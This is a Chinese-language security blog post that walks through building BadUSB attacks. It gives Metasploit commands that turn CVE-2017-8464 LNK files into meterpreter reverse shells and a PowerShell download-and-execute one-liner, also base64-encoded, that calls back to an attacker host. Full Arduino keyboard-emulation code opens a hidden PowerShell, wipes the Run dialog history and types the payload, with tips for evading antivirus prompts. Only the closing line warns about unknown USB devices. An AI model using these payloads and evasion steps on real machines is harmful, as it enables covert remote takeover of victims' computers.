BadUSB是前几年的热门话题,该漏洞由Karsten Nohl和Jakob Lell共同发现,于2014年在BlackHat安全大会上公布。之后研究它的人很多,网上的教程也有很多,最近自己研究了一下并通过一些小技巧解决了黑框和杀软弹窗的问题。

0x01

  首先,我们来玩一个简单的“BadUSB”玩法。该方法利用CVE-2017-8464漏洞,影响版本包括常用的Win7,Win8,Win10等。制作过程很简单,一个U盘和一个最新版本的Kali系统即可,最新版的Kali系统请点击这里下载。下面介绍具体制作方法,打开Kali,输入代码如下,执行后会生成一个cpl文件和许多带盘符的快捷方式文件

root@kali:~# msfconsole
msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set lhost 192.168.10.18
msf exploit(cve_2017_8464_lnk_rce) > set lport 4444
msf exploit(cve_2017_8464_lnk_rce) > exploit

0x02

  生成完文件之后,利用handler模块监听回连的meterpreter。接下来,如果你的U盘插入电脑显示是F盘就将带F盘符的快捷方式文件和cpl文件一起放入U盘的根目录(建议多放几个快捷方式文件,说不定有的人电脑都到J盘了),然后插入电脑就可以触发漏洞并回弹shell。这种方法严格上不能叫做BadUSB,因为这只是简单的利用了Windows的漏洞,生成的文件容易被杀软查杀。

msf exploit(cve_2017_8464_lnk_rce) > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.10.18
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.10.18:4444 

注意: 1.Kali地址--192.168.10.18
    2.电脑打开自动播放功能可以直接回弹shell,否则需要手动打开U盘才能够回弹

0x03

  那什么才是真正的BadUSB呢?我的理解是:利用一个类似U盘的东西插入电脑,U盘将自动模拟成键盘并输入定义好的代码以完成攻击,能完美绕过所有的杀软,因为这属于硬件的入侵,具体的分析和原理请点击这里查看详细说明文章。文章里详细记录了利用Arduino开发板模仿TEENSY的过程,这里我就不重复说明制作过程了,主要来说说如何解决黑框和弹窗的问题。

上图是我直接在某电商平台买的Arduino开发板成品,基本上可以完美伪装成U盘。下面利用BadUSB获得shell为例子,来实战一番。

0x04

  首先,利用msf生成基于psh的payload。直接将生成的代码输入目标电脑的cmd终端会获得shell,但是在有360存在的情况下,会弹窗提示用户是否运行powershell,阻断代码的执行。此时心想如果目标用户自愿手动打开一个powershell终端,然后输入命令应该不会弹窗了吧?

root@kali:~# msfconsole
msf > use exploit/multi/script/web_delivery 
msf exploit(multi/script/web_delivery) > set target 2
target => 2
msf exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set srvhost 192.168.10.18 
srvhost => 192.168.10.18
msf exploit(multi/script/web_delivery) > set srvport 80
srvport => 80
smsf exploit(multi/script/web_delivery) > set uripath /
uripath => /
msf exploit(multi/script/web_delivery) > set lhost 192.168.10.18 
lhost => 192.168.10.18
msf exploit(multi/script/web_delivery) > set lport 4444
lport => 4444
msf exploit(multi/script/web_delivery) > exploit -z -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.10.18:4444 
[*] Using URL: http://192.168.10.18:80/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $q=new-object net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $q.downloadstring('http://192.168.10.18/');
msf exploit(multi/script/web_delivery) > 

  手工实验,直接打开powershell可以绕过弹窗获得shell,但是需要修改命令为base64的格式。修改后的payload代码如下

powershell -w hidden -ep bypass -enc JABxAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAcQAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAHEALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQBbAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBJAEUAWAAgACQAcQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQA4AC8AJwApADsACgA=

0x05

  接下来就是最重要的一步了,如何让USB模拟键盘输入上述指定的payload?利用Arduino开发板编译指定的代码即可实现,代码编写很简单,基本上只需要如下几行命令。相信大家也都看得懂了,只要在括号里填入想要输入的代码即可。

include<Keyboard.h> //包含键盘模块的头文件
Keyboard.begin(); //开启键盘通信
Keyboard.press(); //按下某个键
Keyboard.release(); //释放某个键
Keyboard.println(); //输入指定内容
Keyboard.end(); //结束键盘通信

如何打开powershell终端?之前的文章是通过修改终端的大小来达到“隐藏”的效果,经过测试发现可以直接通过命令打开一个隐藏的终端,达到真正的隐藏效果。完整的代码如下:

#include <Keyboard.h>             //包含键盘模块的头文件
void setup() {
Keyboard.begin();                 //开始键盘通信
delay(3000);                      //延时3000毫秒开始输入命令,不要太短,因为每台电脑识别开发板速度不一样 

Keyboard.press(KEY_LEFT_GUI);     //按下win键  
Keyboard.press('r');              //按下r键 
Keyboard.release('r');            //松掉r键
Keyboard.release(KEY_LEFT_GUI);   //松掉win键    打开运行菜单
delay(500); 

Keyboard.println("cmd /c start powershell -w hidden");  //进入一个隐藏的powershell窗口 
Keyboard.press(KEY_RETURN);       //按下回车键
Keyboard.release(KEY_RETURN);     //松掉回车键
delay(500);

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f;");      //清除运行框的命令记录
Keyboard.press(KEY_RETURN);       
Keyboard.release(KEY_RETURN);     
delay(500);

Keyboard.println("powershell -w hidden -ep bypass -enc JABxAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4Adw...........");
Keyboard.press(KEY_RETURN);       
Keyboard.release(KEY_RETURN);     
delay(500);                      //输入指定的payload

Keyboard.end();                  //结束键盘通讯 
}

void loop() {
  // put your main code here, to run repeatedly:
}

编译,上传时记得选择开发板类型和端口,上传完成后开发板会自动断开Arduino并连接电脑,记得及时拔掉开发板,不然会在主机上输入上述payload。此时打开隐藏终端时还是会有蓝框闪过,但是时间很短,从插上开发板到完成攻击大概只需要2秒钟。完整效果演示如下

0x06

  上述代码只是简单的利用msf获得shell,还有很多其他的玩法,比如这篇文章利用BadUSB窃取指定文件,还有这篇文章利用set工具集进行渗透。总之,通过自定义的payload还可以完成更多自己想要的操作。所以,对于来历不明的USB千万不要轻易插到自己的电脑上,如果必要可以插到自己的虚拟机进行读取操作。

作者: Mari0er
链接: https://mari0er.club/post/badusb.html
版权: 本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0 许可协议。转载请注明出处!!